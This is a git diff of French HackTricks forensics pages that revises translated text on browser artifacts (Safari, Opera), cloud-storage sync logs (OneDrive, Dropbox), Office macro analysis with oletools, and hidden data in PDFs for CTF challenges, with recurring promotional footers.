||||||
- **Bookmarks.plist** : Stocke les URLs des signets.
|
* **Bookmarks.plist** : Stocke les URLs des signets.
|
||||||
- **TopSites.plist** : Sites les plus visités.
|
* **TopSites.plist** : Sites les plus visités.
|
||||||
- **Extensions.plist** : Liste des extensions du navigateur Safari. Utilisez `plutil` ou `pluginkit` pour récupérer.
|
* **Extensions.plist** : Liste des extensions du navigateur Safari. Utilisez `plutil` ou `pluginkit` pour récupérer.
|
||||||
- **UserNotificationPermissions.plist** : Domaines autorisés à envoyer des notifications push. Utilisez `plutil` pour analyser.
|
* **UserNotificationPermissions.plist** : Domaines autorisés à envoyer des notifications push. Utilisez `plutil` pour analyser.
|
||||||
- **LastSession.plist** : Onglets de la dernière session. Utilisez `plutil` pour analyser.
|
* **LastSession.plist** : Onglets de la dernière session. Utilisez `plutil` pour analyser.
|
||||||
- **Anti-hameçonnage intégré du navigateur** : Vérifiez en utilisant `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Une réponse de 1 indique que la fonctionnalité est active.
|
* **Anti-hameçonnage intégré du navigateur** : Vérifiez en utilisant `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Une réponse de 1 indique que la fonctionnalité est active.
|
||||||
|
|
||||||
## Opera
|
## Opera
|
||||||
|
|
||||||
Les données d'Opera résident dans `/Users/$USER/Library/Application Support/com.operasoftware.Opera` et partagent le format de Chrome pour l'historique et les téléchargements.
|
Les données d'Opera résident dans `/Users/$USER/Library/Application Support/com.operasoftware.Opera` et partagent le format de Chrome pour l'historique et les téléchargements.
|
||||||
|
|
||||||
- **Anti-hameçonnage intégré du navigateur** : Vérifiez en vérifiant si `fraud_protection_enabled` dans le fichier Preferences est défini sur `true` en utilisant `grep`.
|
* **Anti-hameçonnage intégré du navigateur** : Vérifiez en vérifiant si `fraud_protection_enabled` dans le fichier Preferences est défini sur `true` en utilisant `grep`.
|
||||||
|
|
||||||
Ces chemins et commandes sont cruciaux pour accéder et comprendre les données de navigation stockées par différents navigateurs Web.
|
Ces chemins et commandes sont cruciaux pour accéder et comprendre les données de navigation stockées par différents navigateurs Web.
|
||||||
|
|
||||||
|
## Références
|
||||||
|
|
||||||
# Références
|
|
||||||
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||||
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||||
* [https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
|
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
|
||||||
* **Livre : OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
* **Livre : OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -194,12 +193,11 @@ Accédez dès aujourd'hui :
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks :
|
D'autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks :
|
||||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -24,7 +24,7 @@ Accédez dès aujourd'hui :
|
||||||
|
|
||||||
## OneDrive
|
## OneDrive
|
||||||
|
|
||||||
Sous Windows, vous pouvez trouver le dossier OneDrive dans `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Et à l'intérieur de `logs\Personal`, il est possible de trouver le fichier `SyncDiagnostics.log` qui contient certaines données intéressantes concernant les fichiers synchronisés :
|
Sous Windows, vous pouvez trouver le dossier OneDrive dans `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Et à l'intérieur de `logs\Personal`, il est possible de trouver le fichier `SyncDiagnostics.log` qui contient des données intéressantes concernant les fichiers synchronisés :
|
||||||
|
|
||||||
- Taille en octets
|
- Taille en octets
|
||||||
- Date de création
|
- Date de création
|
||||||
|
@ -35,7 +35,7 @@ Sous Windows, vous pouvez trouver le dossier OneDrive dans `\Users\<username>\Ap
|
||||||
- Heure de génération du rapport
|
- Heure de génération du rapport
|
||||||
- Taille du disque dur du système d'exploitation
|
- Taille du disque dur du système d'exploitation
|
||||||
|
|
||||||
Une fois que vous avez trouvé le CID, il est recommandé de **rechercher des fichiers contenant cet ID**. Vous pourriez être en mesure de trouver des fichiers avec le nom : _**\<CID>.ini**_ et _**\<CID>.dat**_ qui peuvent contenir des informations intéressantes comme les noms des fichiers synchronisés avec OneDrive.
|
Une fois que vous avez trouvé le CID, il est recommandé de **rechercher des fichiers contenant cet identifiant**. Vous pourriez trouver des fichiers portant le nom : _**\<CID>.ini**_ et _**\<CID>.dat**_ qui peuvent contenir des informations intéressantes comme les noms des fichiers synchronisés avec OneDrive.
|
||||||
|
|
||||||
## Google Drive
|
## Google Drive
|
||||||
|
|
||||||
|
@ -113,7 +113,7 @@ D'autres tables à l'intérieur de cette base de données contiennent des inform
|
||||||
- **deleted\_fields** : Fichiers supprimés de Dropbox
|
- **deleted\_fields** : Fichiers supprimés de Dropbox
|
||||||
- **date\_added**
|
- **date\_added**
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -130,7 +130,7 @@ Autres façons de soutenir HackTricks :
|
||||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks :
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -22,39 +22,37 @@ Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
Pour plus d'informations, consultez [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Voici juste un résumé :
|
||||||
|
|
||||||
**Pour plus de détails, consultez [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)**
|
Microsoft a créé de nombreux formats de documents de bureau, avec deux types principaux étant les **formats OLE** (comme RTF, DOC, XLS, PPT) et les **formats Office Open XML (OOXML)** (tels que DOCX, XLSX, PPTX). Ces formats peuvent inclure des macros, ce qui en fait des cibles pour le phishing et les logiciels malveillants. Les fichiers OOXML sont structurés comme des conteneurs zip, permettant une inspection en les dézippant, révélant la hiérarchie des fichiers et dossiers et le contenu des fichiers XML.
|
||||||
|
|
||||||
|
|
||||||
Microsoft a créé de nombreux formats de documents de bureau, avec deux types principaux étant les formats **OLE** (comme RTF, DOC, XLS, PPT) et les formats **Office Open XML (OOXML)** (tels que DOCX, XLSX, PPTX). Ces formats peuvent inclure des macros, ce qui en fait des cibles pour le phishing et les logiciels malveillants. Les fichiers OOXML sont structurés comme des conteneurs zip, permettant une inspection en les dézippant, révélant la hiérarchie des fichiers et dossiers et le contenu des fichiers XML.
|
|
||||||
|
|
||||||
Pour explorer les structures de fichiers OOXML, la commande pour dézipper un document et la structure de sortie sont données. Des techniques pour cacher des données dans ces fichiers ont été documentées, indiquant une innovation continue dans la dissimulation de données dans les défis CTF.
|
Pour explorer les structures de fichiers OOXML, la commande pour dézipper un document et la structure de sortie sont données. Des techniques pour cacher des données dans ces fichiers ont été documentées, indiquant une innovation continue dans la dissimulation de données dans les défis CTF.
|
||||||
|
|
||||||
Pour l'analyse, **oletools** et **OfficeDissector** offrent des ensembles d'outils complets pour examiner à la fois les documents OLE et OOXML. Ces outils aident à identifier et analyser les macros intégrées, qui servent souvent de vecteurs pour la distribution de logiciels malveillants, téléchargeant et exécutant généralement des charges malveillantes supplémentaires. L'analyse des macros VBA peut être effectuée sans Microsoft Office en utilisant Libre Office, qui permet le débogage avec des points d'arrêt et des variables de surveillance.
|
Pour l'analyse, **oletools** et **OfficeDissector** offrent des ensembles d'outils complets pour examiner à la fois les documents OLE et OOXML. Ces outils aident à identifier et analyser les macros intégrées, qui servent souvent de vecteurs pour la distribution de logiciels malveillants, téléchargeant et exécutant généralement des charges malveillantes supplémentaires. L'analyse des macros VBA peut être effectuée sans Microsoft Office en utilisant Libre Office, qui permet le débogage avec des points d'arrêt et des variables de surveillance.
|
||||||
|
|
||||||
L'installation et l'utilisation des **oletools** sont simples, avec des commandes fournies pour l'installation via pip et l'extraction de macros à partir de documents. L'exécution automatique des macros est déclenchée par des fonctions comme `AutoOpen`, `AutoExec` ou `Document_Open`.
|
L'installation et l'utilisation des **oletools** sont simples, avec des commandes fournies pour l'installation via pip et l'extraction de macros à partir de documents. L'exécution automatique de macros est déclenchée par des fonctions comme `AutoOpen`, `AutoExec`, ou `Document_Open`.
|
||||||
```bash
|
```bash
|
||||||
sudo pip3 install -U oletools
|
sudo pip3 install -U oletools
|
||||||
olevba -c /path/to/document #Extract macros
|
olevba -c /path/to/document #Extract macros
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez dès aujourd'hui à :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,22 +9,22 @@ Autres façons de soutenir HackTricks :
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez dès aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
**Pour plus de détails, consultez : [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)**
|
**Pour plus de détails, consultez :** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||||
|
|
||||||
Le format PDF est connu pour sa complexité et son potentiel de dissimulation de données, en en faisant un point focal pour les défis de la forensique CTF. Il combine des éléments de texte brut avec des objets binaires, qui peuvent être compressés ou chiffrés, et peut inclure des scripts dans des langages comme JavaScript ou Flash. Pour comprendre la structure PDF, on peut se référer au matériel introductif de Didier Stevens [ici](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ou utiliser des outils comme un éditeur de texte ou un éditeur spécifique au PDF tel qu'Origami.
|
Le format PDF est connu pour sa complexité et son potentiel de dissimulation de données, en en faisant un point focal pour les défis de la criminalistique CTF. Il combine des éléments de texte brut avec des objets binaires, qui peuvent être compressés ou chiffrés, et peut inclure des scripts dans des langages comme JavaScript ou Flash. Pour comprendre la structure PDF, on peut se référer au [matériel introductif](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) de Didier Stevens, ou utiliser des outils comme un éditeur de texte ou un éditeur spécifique au PDF tel qu'Origami.
|
||||||
|
|
||||||
Pour une exploration approfondie ou une manipulation des PDF, des outils comme [qpdf](https://github.com/qpdf/qpdf) et [Origami](https://github.com/mobmewireless/origami-pdf) sont disponibles. Les données cachées dans les PDF peuvent être dissimulées dans :
|
Pour une exploration approfondie ou une manipulation des PDF, des outils comme [qpdf](https://github.com/qpdf/qpdf) et [Origami](https://github.com/mobmewireless/origami-pdf) sont disponibles. Les données cachées dans les PDF peuvent être dissimulées dans :
|
||||||
|
|
||||||
|
@ -35,7 +35,7 @@ Pour une exploration approfondie ou une manipulation des PDF, des outils comme [
|
||||||
* Du texte derrière des images ou chevauchant des images
|
* Du texte derrière des images ou chevauchant des images
|
||||||
* Des commentaires non affichés
|
* Des commentaires non affichés
|
||||||
|
|
||||||
Pour une analyse personnalisée des PDF, des bibliothèques Python comme [PeepDF](https://github.com/jesparza/peepdf) peuvent être utilisées pour créer des scripts d'analyse sur mesure. De plus, le potentiel des PDF pour le stockage de données cachées est si vaste que des ressources comme le guide de la NSA sur les risques et les contre-mesures des PDF, bien qu'il ne soit plus hébergé à son emplacement d'origine, offrent toujours des informations précieuses. Une [copie du guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) et une collection de [astuces sur le format PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) par Ange Albertini peuvent fournir une lecture complémentaire sur le sujet.
|
Pour une analyse personnalisée des PDF, des bibliothèques Python comme [PeepDF](https://github.com/jesparza/peepdf) peuvent être utilisées pour créer des scripts d'analyse sur mesure. De plus, le potentiel des PDF pour le stockage de données cachées est si vaste que des ressources comme le guide de la NSA sur les risques et les contre-mesures des PDF, bien qu'il ne soit plus hébergé à son emplacement d'origine, offrent toujours des informations précieuses. Une [copie du guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) et une collection de [astuces sur le format PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) par Ange Albertini peuvent fournir des lectures complémentaires sur le sujet.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -46,7 +46,7 @@ Autres façons de soutenir HackTricks :
|
||||||
